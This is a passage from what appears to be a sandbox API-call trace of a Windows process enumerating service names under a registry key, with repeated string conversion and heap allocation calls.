BaseAddress=0x21f1b68) returned 1 [0251.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.172] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0251.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0251.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0251.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.172] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0251.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0251.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.173] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0251.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0251.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0251.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.173] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0251.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0251.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.173] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0251.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0251.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.173] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.174] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0251.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0251.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.174] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0251.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0251.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.174] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0251.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0251.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.174] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.174] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0251.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0251.174] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.175] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.175] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.175] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.175] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0251.175] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.175] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0251.175] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.175] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.175] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.175] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.175] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0251.175] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.175] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0251.175] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.175] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.175] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.175] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.175] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0251.175] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.175] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0251.175] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.175] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.175] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.175] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.175] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0251.175] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.176] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0251.176] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.176] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.176] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.176] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.176] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0251.176] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.176] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0251.176] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.176] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.176] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.176] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.176] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0251.176] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.176] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0251.176] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.176] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.176] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.176] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.176] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0251.176] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0251.176] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.176] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0251.176] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.176] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.177] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0251.177] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.177] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0251.177] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.177] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.177] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0251.177] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0251.177] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f18e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0251.177] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0251.178] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0251.179] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0251.179] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0251.179] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0251.179] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0251.179] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0251.179] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0251.179] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0251.179] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0251.179] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0251.179] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0251.179] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0251.179] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0251.179] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0251.180] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0251.180] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0251.180] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0251.180] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0251.180] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0251.180] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0251.180] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0251.180] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0251.180] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0251.180] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0251.180] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0251.180] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0251.180] RegEnumKeyW (in: 